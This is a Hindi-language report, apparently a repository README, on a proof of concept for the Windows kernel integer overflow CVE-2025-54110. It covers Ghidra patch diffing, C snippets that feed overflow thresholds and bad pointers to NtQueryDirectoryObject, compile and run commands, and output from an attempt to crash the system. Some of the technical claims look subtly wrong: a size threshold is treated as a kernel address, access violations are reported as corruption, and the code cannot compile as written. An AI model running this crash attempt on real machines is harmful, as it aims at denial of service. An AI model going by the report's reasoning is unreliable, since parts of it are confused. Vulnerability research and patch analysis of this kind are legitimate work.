### 2. विश्लेषित फ़ाइलें

प्रारंभिक विश्लेषण दो प्राथमिक कर्नेल घटकों पर केंद्रित था:

#### win32k.sys (-)
- **परिणाम:** कोई महत्वपूर्ण परिवर्तन नहीं पाया गया
- **स्कोर सीमा:** 0.97-1.0 (उच्च समानता)
- **निष्कर्ष:** CVE-2025-54110 के लिए यह संवेदनशील घटक नहीं है

#### ntoskrnl.exe (+)
- **परिणाम:** महत्वपूर्ण परिवर्तनों वाले कई फ़ंक्शन
- **स्कोर सीमा:** स्कोर ≤0.951 वाले फ़ंक्शन
- **लंबाई अंतर:** स्रोत बनाम गंतव्य बाइट लंबाई में भिन्नताएँ पाई गईं
- **निर्यातित कुल आइटम:** विश्लेषण के लिए 2,036 फ़ंक्शन

### 3. Ghidra संस्करण ट्रैकिंग परिणाम

`ntoskrnl.exe` में पहचाने गए परिवर्तनों का नमूना:

| स्कोर | विश्वास | स्रोत लंबाई | गंतव्य लंबाई | स्रोत फ़ंक्शन | गंतव्य फ़ंक्शन |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## PoC स्टेटमेंट

### तकनीकी दृष्टिकोण

PoC (`precise_overflow_bsod.c`) निम्नलिखित माध्यमों से पूर्णांक अतिप्रवाह (integer overflow) भेद्यता को ट्रिगर करने का प्रयास करता है:

1. **सटीक थ्रेशोल्ड गणना:** `0xfffffdbc` (base=0x20, name=0x200 से व्युत्पन्न)
2. **NtQueryDirectoryObject API:** अतिप्रवाह ट्रिगर करने के लिए लक्षित फ़ंक्शन
3. **बहु-चरणीय आक्रमण रणनीति:**
   - चरण 1: सटीक पूर्णांक अतिप्रवाह प्रयास
   - चरण 2: कर्नेल मेमोरी लक्ष्यीकरण
   - चरण 3: बहु-थ्रेडेड शोषण

### कोड संरचना```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

---

## PoC सिस्टम को क्रैश क्यों नहीं करता

### वास्तविक परिणाम

PoC लगातार `STATUS_ACCESS_VIOLATION (0xC0000005)` लौटाता है बिना ब्लू स्क्रीन ऑफ डेथ (BSOD) पैदा किए। यह **डिज़ाइन द्वारा** है और कई महत्वपूर्ण Windows कर्नेल सुरक्षा तंत्रों को प्रदर्शित करता है:

### 1. संरचित अपवाद हैंडलिंग (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

**PoC पर प्रभाव:**
- भले ही ओवरफ्लो हो जाए, कर्नेल-से-यूज़र मेमोरी तक सीधी पहुंच अवरुद्ध होती है
- पॉइंटर डीरेफरेंस कमजोरियों के शोषण को रोकता है

### 3. KASLR (कर्नेल एड्रेस स्पेस लेआउट रैंडमाइज़ेशन)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

---

## PoC निष्पादन आउटपुट विश्लेषण

### अपेक्षित आउटपुट

`STATUS_ACCESS_VIOLATION (0xC0000005)` देखें, तो यह ठीक है।```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>

### अवलोकित व्यवहार```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

---

## शैक्षिक महत्व

### यह PoC क्या प्रदर्शित करता है

#### परिणाम

1. **पैच डिफिंग पद्धति**
   - Ghidra का उपयोग करके प्री/पोस्ट-पैच बाइनरी की तुलना करना
   - संस्करण ट्रैकिंग के माध्यम से संशोधित फ़ंक्शनों की पहचान करना
   - स्कोर-आधारित समानता मेट्रिक्स का विश्लेषण करना

2. **विंडोज़ कर्नेल आर्किटेक्चर**
   - सिस्टम कॉल प्रवाह को समझना (`NtQueryDirectoryObject`)
   - कर्नेल/यूज़र-मोड सीमाओं को पहचानना
   - NTAPI आंतरिक फ़ंक्शन सीखना

3. **सुरक्षा तंत्र व्यवहार**
   - SEH क्रिया में: अपवाद पकड़ा गया बनाम सिस्टम क्रैश
   - SMAP अनधिकृत मेमोरी एक्सेस को रोकता है
   - KASLR स्थिर पता शोषण को विफल करता है

4. **भेद्यता अनुसंधान प्रक्रिया**
   - CVE विश्लेषण और सूचना संग्रह
   - बाइनरी परिवर्तनों की रिवर्स इंजीनियरिंग
   - नियंत्रित शोषण प्रयासों के माध्यम से परिकल्पना परीक्षण

#### सीमाएँ

1. **आधुनिक कर्नेल सुरक्षाएँ प्रभावी हैं**
   - साधारण ओवरफ्लो प्रयास अपर्याप्त हैं
   - रक्षा की कई परतों को बायपास किया जाना चाहिए
   - अकेले स्थैतिक विश्लेषण शोषणक्षमता की भविष्यवाणी नहीं कर सकता

2. **सिद्धांत और व्यवहार के बीच अंतर**
   - पूर्णांक ओवरफ्लो मौजूद है (सैद्धांतिक)
   - व्यावहारिक शोषण के लिए आवश्यक:
     - सूचना प्रकटीकरण (कर्नेल पते लीक करना)
     - हीप शेपिंग/फेंग शुई
     - ROP चेन या अन्य कोड निष्पादन प्रिमिटिव
     - DEP, CFG, HVCI आदि को बायपास करना

---

## विश्लेषण के लिए प्राथमिकता फ़ंक्शन

CVE-2025-54110 विशेषताओं (कर्नेल में पूर्णांक ओवरफ्लो → बफर ओवरफ्लो) के आधार पर, निर्यातित CSV में उन फ़ंक्शनों की समीक्षा को प्राथमिकता दें जो निम्न को संभालते हैं:

### उच्च प्राथमिकता श्रेणियाँ```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

**चरण 2: कीवर्ड खोज**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

**चरण 4: परिमाण बदलें**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

### संकलन```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

### निष्पादन```powershell
# Run with admin privileges
.\poc64.exe

---

## संसाधन और संदर्भ

### आधिकारिक स्रोत

- [Microsoft सुरक्षा सलाह - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: पूर्णांक अतिप्रवाह या रैपअराउंड](https://cwe.mitre.org/data/definitions/190.html)
- [Windows कर्नल इंटरनल - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### अनुसंधान उपकरण

- [Ghidra - NSA सॉफ्टवेयर रिवर्स इंजीनियरिंग सुइट](https://ghidra-sre.org/)
- [WinDbg - Windows डिबगिंग उपकरण](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### संबंधित पठन

- [कर्नल एक्सप्लॉइट डेवलपमेंट](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Windows कर्नल एक्सप्लॉइटेशन](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Ghidra के साथ पैच डिफिंग](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## कानूनी अस्वीकरण

यह कोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।

इस कोड का उपयोग इनके लिए न करें:

• कंप्यूटर सिस्टम तक अनधिकृत पहुंच

• दुर्भावनापूर्ण हमले या क्षति

• कोई भी अवैध गतिविधियाँ


लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
उपयोगकर्ताओं को सभी लागू कानूनों का पालन करना चाहिए।

**इस कोड का उपयोग करके, आप स्वीकार करते हैं:**

1. आपके पास लक्षित प्रणालियों पर परीक्षण करने का प्राधिकरण है
2. आप अपने क्षेत्राधिकार में कानूनी निहितार्थों को समझते हैं
3. आप अपने कार्यों की पूर्ण जिम्मेदारी स्वीकार करते हैं
4. यह सीखने के लिए है, दुर्भावनापूर्ण गतिविधि के लिए नहीं

---

## कानूनी अस्वीकरण
यह रिपॉजिटरी विशेष रूप से नियंत्रित प्रयोगशाला वातावरण में शैक्षिक, रक्षात्मक सुरक्षा अनुसंधान और भेद्यता पुनरुत्पादन उद्देश्यों के लिए प्रदान की गई है।
जानकारी और प्रूफ-ऑफ-कॉन्सेप्ट कोड रक्षकों, शोधकर्ताओं और विक्रेताओं को रिपोर्ट की गई भेद्यता को समझने और सुधारने में सहायता करने के लिए है।
स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इस कोड का अनधिकृत या दुर्भावनापूर्ण उपयोग लागू कानूनों और विनियमों का उल्लंघन कर सकता है।
लेखक अवैध गतिविधि को प्रोत्साहित या समर्थन नहीं करता है और इस सामग्री से होने वाले दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।

यह भेद्यता प्रकटीकरण रिपोर्ट निम्नलिखित के लिए प्रदान की गई है:
1. सुरक्षा अनुसंधान और शिक्षा
2. विक्रेता अधिसूचना और पैच विकास
3. अंतिम उपयोगकर्ताओं की सुरक्षा
4. शैक्षणिक और रक्षात्मक सुरक्षा उद्देश्य

**निषिद्ध उपयोग:**
- कंप्यूटर सिस्टम तक अनधिकृत पहुंच
- दुर्भावनापूर्ण शोषण
- कोई भी अवैध गतिविधि

शोधकर्ता ने सभी परीक्षण नियंत्रित वातावरण में व्यक्तिगत रूप से स्वामित्व वाले सिस्टम पर किए। किसी तृतीय-पक्ष प्रणाली तक अनधिकृत पहुंच नहीं की गई।

**रिपोर्ट संस्करण:** 1.0  
**अंतिम अद्यतन:** 9 फरवरी, 2026  

---

## संपर्क

वैध सुरक्षा अनुसंधान पूछताछ या शैक्षिक सहयोग के लिए:

**जिम्मेदार प्रकटीकरण:**
- इस PoC के साथ सुरक्षा समस्याएँ → GitHub Issue खोलें
- वास्तविक CVE-2025-54110 शोषण → [MSRC](https://msrc.microsoft.com/) को रिपोर्ट करें

---

## लाइसेंस```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.